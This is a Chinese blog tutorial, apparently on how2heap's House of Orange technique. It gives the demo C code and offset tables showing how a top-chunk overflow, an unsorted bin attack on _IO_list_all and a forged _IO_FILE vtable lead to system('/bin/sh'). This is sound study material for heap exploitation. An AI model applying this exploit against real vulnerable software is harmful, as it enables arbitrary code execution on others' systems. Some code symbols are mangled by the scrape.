1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 #include <stdio.h> #include <stdlib.h> #include <string.h> int winner ( char *ptr) ;int main () { char *p1, *p2; size_t io_list_all, *top; fprintf (stderr , "首先 malloc 一块 0x400 大小的 chunk\n" ); p1 = malloc (0x400 -16 ); fprintf (stderr , "假设存在堆溢出,把 top chunk 的 size 给改为一个比较小的 0xc01\n" ); top = (size_t *) ( (char *) p1 + 0x400 - 16 ); top[1 ] = 0xc01 ; fprintf (stderr , "再去 malloc 一个挺大的 chunk 的时候,因为 top chunk 不够大所以会把现在的 top chunk 给 free 掉,我们称它为 old top chunk\n" ); p2 = malloc (0x1000 ); fprintf (stderr , "这时候 top[2] 跟 top[3] 是 unsortedbin 的地址了,然后 _IO_list_all 跟 unsortedbin 的偏移是 0x9a8,计算得到 _IO_list_all\n" ); io_list_all = top[2 ] + 0x9a8 ; fprintf (stderr , "设置 old top chunk 的 bk 指针为 io_list_all - 0x10 待会进行 unsortedbin attack,把 _IO_list_all 改为 unsortedbin 的地址\n" ); top[3 ] = io_list_all - 0x10 ; fprintf (stderr , "将字符串/bin/sh放到 old top chunk 的开头,并且把 size 改为 0x61,这里改为 0x61 是因为这个大小属于 smallbin[4],它与 unsortedbin 的偏移,跟 _chain 与 io_list_all 的偏移一样\n" ); memcpy ( ( char *) top, "/bin/sh\x00" , 8 ); top[1 ] = 0x61 ; _IO_FILE *fp = (_IO_FILE *) top; fprintf (stderr , "后面就是为了满足一些检查了,包括:fp->_mode = 0、_IO_write_base 小于 _IO_write_ptr\n" ); fp->_mode = 0 ; fp->_IO_write_base = (char *) 2 ; fp->_IO_write_ptr = (char *) 3 ; fprintf (stderr , "然后定位到 jump_table[3] 也就是 _IO_OVERFLOW 改为 system 函数的地址\n" ); size_t *jump_table = ⊤[12 ]; jump_table[3 ] = (size_t ) &winner; fprintf (stderr , "最后把 io_list_all 的 vatble 改为我们想让他找的那个 jump_table,然后去 malloc 一个触发就可以了\n" ); *(size_t *) ((size_t ) fp + sizeof (_IO_FILE)) = (size_t ) jump_table; malloc (10 ); return 0 ; } int winner (char *ptr) { system(ptr); return 0 ; }
一开始申请了一个 chunk,此时 top chunk 的 size 是 0x20c00
image.png
假设有个溢出的漏洞,可以把 top chunk 的 size 给修改掉,改成一个小的数
image.png
再去 malloc 一个比较大的数的时候,原本的 top chunk 不够分给它的,所以就会被放到 unsorted bin 中,可以看到 fd、bk 被改成了 unsorted bin 的地址
image.png
然后 unsorted bin 的地址跟 _IO_list_all 的地址偏移是 0x9a8,可以得到 _IO_list_all 的地址
image.png
修改掉 unsortedbin 的 bk 指针,等到 malloc 的时候利用 unsortedbin attack 把 _IO_list_all 改为 unsorted bin 的地址,然后把 old top chunk 写上 ‘/bin/sh’ 并且去修改掉 old top chunk 的 size 为 0x61,为啥改为这个大小后面会说
然后对 old top chunk 进行修改去满足检查条件
1 2 3 fp->_mode = 0 ; fp->_IO_write_base = (char *) 2 ; fp->_IO_write_ptr = (char *) 3 ;
然后把 jump_table 指向 ⊤[12],再把 jump_table[3] 改为我们想要执行的那个函数的地址,然后让 vtable 指向 jump_table
1 2 3 size_t *jump_table = ⊤[12 ];jump_table[3 ] = (size_t ) &winner; *(size_t *) ((size_t ) fp + sizeof (_IO_FILE)) = (size_t ) jump_table;
image.png
因为 unsorted bin 被改掉了当 malloc 的时候会出错,会依次调用 malloc_printerr、 __libc_message、abort()、_IO_flush_all_lockp(),在调用 _IO_flush_all_lockp() 的时候需要在 vtable 中找 _IO_OVERFLOW,而 _IO_OVERFLOW 我们已经覆盖掉为 winner 的地址了,而早在之前我们就把前面写上了 ‘/bin/sh’ 这样就可以达到执行 system(‘/bin/sh’) 了
害,其实就是这样的:通过 unsorted bin attack 把 _IO_list_all 改成 unsorted bin 的地址,然后因为我们把 old top chunk 的 size 改为了 0x61 属于 smallbin,恰好这个大小的 smallbin 相对 unsorted bin 的偏移与 _chain 相对 _IO_list_all 的偏移是一样的
image.png
(感觉不太准确,但大概是这么个意思)
而通过 unsorted bin attack 我们把 _IO_list_all 改成了 unsorted bin 的地址,这样 _chain 指向的就是 old top chunk 的地址了 我们的那些伪造的操作也是在 old top chunk 上做的,我对 how2heap 的代码做了点替换,对着下面的图片与偏移更容易理解是怎么伪造的
1 2 3 4 5 6 7 8 9 10 11 top[24 ] = 0 ; top[4 ]=(char *)2 ; top[5 ]=(char *)3 ; top[15 ]=(size_t ) &winner; top[27 ]= (size_t ) ⊤[12 ];
image.png
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 0x0 _flags 0x8 _IO_read_ptr 0x10 _IO_read_end 0x18 _IO_read_base 0x20 _IO_write_base 0x28 _IO_write_ptr 0x30 _IO_write_end 0x38 _IO_buf_base 0x40 _IO_buf_end 0x48 _IO_save_base 0x50 _IO_backup_base 0x58 _IO_save_end 0x60 _markers 0x68 _chain 0x70 _fileno 0x74 _flags2 0x78 _old_offset 0x80 _cur_column 0x82 _vtable_offset 0x83 _shortbuf 0x88 _lock 0x90 _offset 0x98 _codecvt 0xa0 _wide_data 0xa8 _freeres_list 0xb0 _freeres_buf 0xb8 __pad5 0xc0 _mode 0xc4 _unused2 0xd8 vtable
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 IO_jump_t *vtable: void * funcs[] = { 1 NULL , 2 NULL , 3 exit , 4 NULL , 5 NULL , 6 NULL , 7 NULL , 8 NULL , 9 NULL , 10 NULL , 11 NULL , 12 NULL , 13 NULL , 14 NULL , 15 NULL , 16 NULL , 17 NULL , 18 pwn, 19 NULL , 20 NULL , 21 NULL , };
参考:https://bbs.pediy.com/thread-223334.htm https://nightrainy.github.io/2020/02/02/how2heap%E6%80%BB%E7%BB%93%E8%AE%A1%E5%88%92%E4%B8%83/
最后更新时间:2022-10-03 21:52:43